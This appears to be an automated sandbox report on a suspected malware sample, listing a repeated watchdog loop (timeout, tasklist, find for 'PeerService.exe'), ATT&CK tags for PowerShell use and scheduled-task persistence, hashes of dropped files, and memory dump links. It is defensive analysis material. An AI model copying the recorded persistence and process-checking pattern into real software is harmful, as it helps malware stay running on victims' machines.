- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2540
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3384
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4072
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3888
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4808
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:724
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2492
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3420
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2312
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4684
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:572
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4308
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2592
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2980
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:348
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1240
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1232
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3960
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4636
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5024
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4484
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4420
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4900
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1884
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4164
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2828
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:688
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3408
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1928
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3608
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:656
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:228
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:556
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4188
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4312
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1776
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1580
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2964
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2980
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2072
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4936
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2732
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4048
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1056
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1708
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4420
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2740
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2324

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c8d4bf0af7143157dd6346ebce738cec90d00493cc5edcb63c0ce4c780511eab
MD5 2c2ea95e2d53b2aa226cfea98c001447
SHA1 f8d5dea9549546ff3e8a219e9a0401232c22925c
SHA512 bb5a448f59a09299b694c671411bd4cd2a5deb7c1ac904abdddd077f5879baa082584457fb711b2cb11b9ade4682a068e6d27fe0e22d02cd1ad9274e6929ab85
TLSH
T17D218933B79CC134C8D9117A108CAD11B1B5C3C7449ECE9B7B84C508A57F999DB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mmhr2im0.pc0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mmhr2im0.pc0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 7.0MB
SHA256 ca280645dc4d083427c3d6e6ba39aa81867b51d1d13061252a3ceeb78a00564f
MD5 02e290aa5a08185776bec31f13a3ec63
SHA1 c6faacbe8659bff6323e4fe5a36351da0beea04d
SHA512 da97cfbf375c6acd4fd5444e139da534e00deccf63760f5ebb740f4be4199d0bf2369d4c6d0a17f47a54e9653a2b0fcf94e39b105b6c9ecbff8942ab83176e44
SSDEEP 196608:e+hBtOkhByQyVG/uzGNVyAl3K8fCG9ByQyVG/uzGNVyp:xtOENSG/lVrl3KEJNSG/lVY
TLSH
T18E76016B626901E8D1BFD17CCA065907EBB2780543A0A7DF12E046A62F77BE14F3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/348-119-0x00000271B5820000-0x00000271B58C3000-memory.dmp

Download

memory/552-83-0x000001568E710000-0x000001568E7B3000-memory.dmp

Download

memory/656-137-0x00000141CDC10000-0x00000141CDCB3000-memory.dmp

Download

memory/724-79-0x00000265BEE30000-0x00000265BEED3000-memory.dmp

Download

memory/912-112-0x000002BDD6D20000-0x000002BDD6DC3000-memory.dmp

Download

memory/1052-129-0x0000000000850000-0x00000000008F3000-memory.dmp

Download

memory/1052-69-0x0000000000850000-0x00000000008F3000-memory.dmp

Download

memory/1232-121-0x00000227345B0000-0x0000022734653000-memory.dmp

Download

memory/1276-85-0x00000185FB4D0000-0x00000185FB573000-memory.dmp

Download

memory/1316-94-0x000001691D9A0000-0x000001691DA43000-memory.dmp

Download

memory/1468-100-0x00000149F06F0000-0x00000149F0793000-memory.dmp

Download

memory/1580-143-0x00000237262B0000-0x0000023726353000-memory.dmp

Download

memory/1728-64-0x000001BDA6040000-0x000001BDA604C000-memory.dmp

Download

memory/1728-65-0x000001BDA7980000-0x000001BDA7992000-memory.dmp

Download

memory/1732-132-0x000001BC4F7B0000-0x000001BC4F853000-memory.dmp

Download

memory/1832-126-0x00000241CE0D0000-0x00000241CE173000-memory.dmp

Download

memory/1928-133-0x0000022411700000-0x00000224117A3000-memory.dmp

Download

memory/2064-120-0x00000206C2FE0000-0x00000206C3083000-memory.dmp

Download

memory/2072-145-0x000002225AAE0000-0x000002225AB83000-memory.dmp

Download

memory/2096-17-0x0000000000910000-0x00000000009B3000-memory.dmp

Download

memory/2176-78-0x0000020A16160000-0x0000020A16203000-memory.dmp

Download

memory/2312-113-0x0000020C53DD0000-0x0000020C53E73000-memory.dmp

Download

memory/2400-130-0x000002AF60940000-0x000002AF609E3000-memory.dmp

Download

memory/2444-95-0x00000234B0D80000-0x00000234B0E23000-memory.dmp

Download

memory/2492-109-0x0000025B92CC0000-0x0000025B92D63000-memory.dmp

Download

memory/2520-67-0x0000013C70050000-0x0000013C700F3000-memory.dmp

Download

memory/2540-103-0x00000216F0AD0000-0x00000216F0B73000-memory.dmp

Download

memory/2548-136-0x000002729F090000-0x000002729F133000-memory.dmp

Download

memory/2736-106-0x0000020204C00000-0x0000020204CA3000-memory.dmp

Download

memory/2764-142-0x000001661E7F0000-0x000001661E893000-memory.dmp

Download

memory/2824-97-0x0000024D8BF40000-0x0000024D8BFE3000-memory.dmp

Download

memory/2828-131-0x000002C1665A0000-0x000002C166643000-memory.dmp

Download

memory/2884-88-0x0000026304A80000-0x0000026304B23000-memory.dmp

Download

memory/2956-70-0x0000017930300000-0x00000179303A3000-memory.dmp

Download

memory/3144-68-0x00000000008A0000-0x0000000000943000-memory.dmp

Download

memory/3144-146-0x00000000008A0000-0x0000000000943000-memory.dmp

Download

memory/3144-128-0x00000000008A0000-0x0000000000943000-memory.dmp

Download

memory/3240-101-0x000001A3986D0000-0x000001A398773000-memory.dmp

Download

memory/3272-71-0x0000014336D50000-0x0000014336DF3000-memory.dmp

Download

memory/3380-91-0x000001F4453A0000-0x000001F445443000-memory.dmp

Download

memory/3424-90-0x0000024D123E0000-0x0000024D12483000-memory.dmp

Download

memory/3588-89-0x00000265F0A40000-0x00000265F0AE3000-memory.dmp

Download

memory/3672-54-0x00000265B7960000-0x00000265B7968000-memory.dmp

Download

memory/3672-25-0x00000265B77B0000-0x00000265B77D2000-memory.dmp

Download

memory/3672-52-0x00000265B7950000-0x00000265B795A000-memory.dmp

Download

memory/3672-53-0x00000265B79B0000-0x00000265B79CA000-memory.dmp

Download

memory/3672-60-0x000002659F1F0000-0x000002659F202000-memory.dmp

Download

memory/3672-45-0x00000265B7970000-0x00000265B798C000-memory.dmp

Download

memory/3672-44-0x00000265B7940000-0x00000265B794A000-memory.dmp

Download

memory/3672-43-0x00000265B7880000-0x00000265B7933000-memory.dmp

Download

memory/3672-55-0x00000265B7990000-0x00000265B7996000-memory.dmp

Download

memory/3672-42-0x00000265B7860000-0x00000265B787C000-memory.dmp

Download

memory/3672-56-0x00000265B79A0000-0x00000265B79AA000-memory.dmp

Download

memory/3672-59-0x000002659D890000-0x000002659D89C000-memory.dmp

Download

memory/3840-82-0x0000029BEC7F0000-0x0000029BEC893000-memory.dmp

Download

memory/3864-108-0x0000016EE8E70000-0x0000016EE8F13000-memory.dmp

Download

memory/3888-107-0x0000020EE9D90000-0x0000020EE9E33000-memory.dmp

Download

memory/3992-72-0x000001F2EEE00000-0x000001F2EEEA3000-memory.dmp

Download

memory/4112-124-0x00000232D8030000-0x00000232D80D3000-memory.dmp

Download

memory/4188-139-0x0000025756430000-0x00000257564D3000-memory.dmp

Download

memory/4204-66-0x000001D3DAEB0000-0x000001D3DAF53000-memory.dmp

Download

memory/4212-118-0x0000021DED980000-0x0000021DEDA23000-memory.dmp

Download

memory/4284-73-0x000001C01B8E0000-0x000001C01B983000-memory.dmp

Download

memory/4284-102-0x000001D1E4DD0000-0x000001D1E4E73000-memory.dmp

Download

memory/4308-115-0x0000019176FC0000-0x0000019177063000-memory.dmp

Download

memory/4420-96-0x0000022963A20000-0x0000022963AC3000-memory.dmp

Download

memory/4544-114-0x0000028770C10000-0x0000028770CB3000-memory.dmp

Download

memory/4764-144-0x00000158EEB40000-0x00000158EEBE3000-memory.dmp

Download

memory/4776-84-0x00000135924C0000-0x0000013592563000-memory.dmp

Download

memory/4900-127-0x000001F81E120000-0x000001F81E1C3000-memory.dmp

Download

memory/4916-76-0x00000296264B0000-0x0000029626553000-memory.dmp

Download

memory/4924-77-0x0000020056A50000-0x0000020056AF3000-memory.dmp

Download

memory/5016-138-0x00000227C27E0000-0x00000227C2883000-memory.dmp

Download

memory/5024-125-0x00000221C4D80000-0x00000221C4E23000-memory.dmp

Download